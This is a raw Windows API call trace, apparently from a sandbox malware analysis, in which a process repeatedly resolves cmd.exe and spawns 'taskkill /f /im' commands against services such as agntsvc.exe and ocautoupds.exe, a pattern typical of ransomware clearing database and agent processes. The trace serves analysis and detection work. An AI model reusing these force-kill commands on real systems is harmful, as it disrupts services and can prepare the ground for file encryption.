	[0039.095] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12449cc8 | out: lpFileInformation=0x12449cc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.095] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.096] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12449d18 | out: lpFileInformation=0x12449d18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.096] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.096] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12449d68 | out: lpFileInformation=0x12449d68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.096] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.096] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12449db8 | out: lpFileInformation=0x12449db8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.096] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.096] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12440f70, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0039.096] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449e08 | out: lpFileInformation=0x12449e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0039.096] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12441040, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0039.096] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449e58 | out: lpFileInformation=0x12449e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0039.096] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8
	[0039.096] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0039.097] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0039.097] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0039.097] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0039.097] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0039.097] GetEnvironmentStringsW () returned 0x7eb348*
	[0039.097] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0039.097] GetCurrentProcess () returned 0xffffffff
	[0039.097] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238fdd0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238fdd0*=0xac) returned 1
	[0039.097] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238fdd4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238fdd4*=0xb8) returned 1
	[0039.097] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238fdd8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238fdd8*=0xbc) returned 1
	[0039.097] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im ocautoupds.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12476800, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im ocautoupds.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc4, hThread=0xc0, dwProcessId=0x7fc, dwThreadId=0x6ac)) returned 1
	[0039.105] CloseHandle (hObject=0xc0) returned 1
	[0039.105] CloseHandle (hObject=0xbc) returned 1
	[0039.105] CloseHandle (hObject=0xb8) returned 1
	[0039.105] CloseHandle (hObject=0xac) returned 1
	[0039.105] CloseHandle (hObject=0xc8) returned 1
	[0039.105] CloseHandle (hObject=0xb4) returned 1
	[0039.105] CloseHandle (hObject=0xb0) returned 1
	[0039.105] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0
	[0039.505] SetEvent (hEvent=0xa8) returned 1
	[0039.505] GetExitCodeProcess (in: hProcess=0xc4, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0039.505] GetProcessTimes (in: hProcess=0xc4, lpCreationTime=0x12482d20, lpExitTime=0x12482d28, lpKernelTime=0x12482d30, lpUserTime=0x12482d38 | out: lpCreationTime=0x12482d20, lpExitTime=0x12482d28, lpKernelTime=0x12482d30, lpUserTime=0x12482d38) returned 1
	[0039.505] CloseHandle (hObject=0xc4) returned 1
	[0039.505] SetEvent (hEvent=0x80) returned 1
	[0039.505] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0039.512] SetEvent (hEvent=0x80) returned 1
	[0039.512] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12409380, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0039.513] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496328 | out: lpFileInformation=0x12496328*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.513] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.513] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12496378 | out: lpFileInformation=0x12496378*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.513] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.513] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x124963c8 | out: lpFileInformation=0x124963c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.513] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.513] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12496418 | out: lpFileInformation=0x12496418*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.513] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.513] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12496468 | out: lpFileInformation=0x12496468*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.514] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.514] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x124964b8 | out: lpFileInformation=0x124964b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.514] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.514] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12496508 | out: lpFileInformation=0x12496508*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.514] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.514] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12496558 | out: lpFileInformation=0x12496558*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.514] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.514] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x124965a8 | out: lpFileInformation=0x124965a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.514] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.514] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x124965f8 | out: lpFileInformation=0x124965f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.514] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.514] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12496648 | out: lpFileInformation=0x12496648*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.514] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.515] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12496698 | out: lpFileInformation=0x12496698*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0039.515] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0039.515] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12409450, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0039.515] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124966e8 | out: lpFileInformation=0x124966e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0039.515] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12409520, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0039.515] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496738 | out: lpFileInformation=0x12496738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0039.515] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0039.515] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0039.515] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0039.515] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0039.516] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0039.516] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0039.516] GetEnvironmentStringsW () returned 0x7eb348*
	[0039.516] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0039.516] GetCurrentProcess () returned 0xffffffff
	[0039.516] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249a490, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249a490*=0xc8) returned 1
	[0039.516] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249a494, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249a494*=0xac) returned 1
	[0039.516] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249a498, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249a498*=0xb8) returned 1
	[0039.516] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im agntsvc.exeagntsvc.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x1243d400, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im agntsvc.exeagntsvc.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc0, hThread=0xbc, dwProcessId=0x9b4, dwThreadId=0xa14)) returned 1
	[0039.524] CloseHandle (hObject=0xbc) returned 1
	[0039.524] CloseHandle (hObject=0xb8) returned 1
	[0039.524] CloseHandle (hObject=0xac) returned 1
	[0039.524] CloseHandle (hObject=0xc8) returned 1
	[0039.524] CloseHandle (hObject=0xc4) returned 1
	[0039.524] CloseHandle (hObject=0xb0) returned 1
	[0039.524] CloseHandle (hObject=0xb4) returned 1
	[0039.524] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xffffffff) returned 0x0
	[0040.028] SetEvent (hEvent=0xa8) returned 1
	[0040.028] GetExitCodeProcess (in: hProcess=0xc0, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0040.028] GetProcessTimes (in: hProcess=0xc0, lpCreationTime=0x1247b560, lpExitTime=0x1247b568, lpKernelTime=0x1247b570, lpUserTime=0x1247b578 | out: lpCreationTime=0x1247b560, lpExitTime=0x1247b568, lpKernelTime=0x1247b570, lpUserTime=0x1247b578) returned 1
	[0040.028] CloseHandle (hObject=0xc0) returned 1
	[0040.028] SetEvent (hEvent=0x80) returned 1
	[0040.028] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0040.042] SetEvent (hEvent=0x80) returned 1
	[0040.042] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12441110, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.042] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449ea8 | out: lpFileInformation=0x12449ea8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.042] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
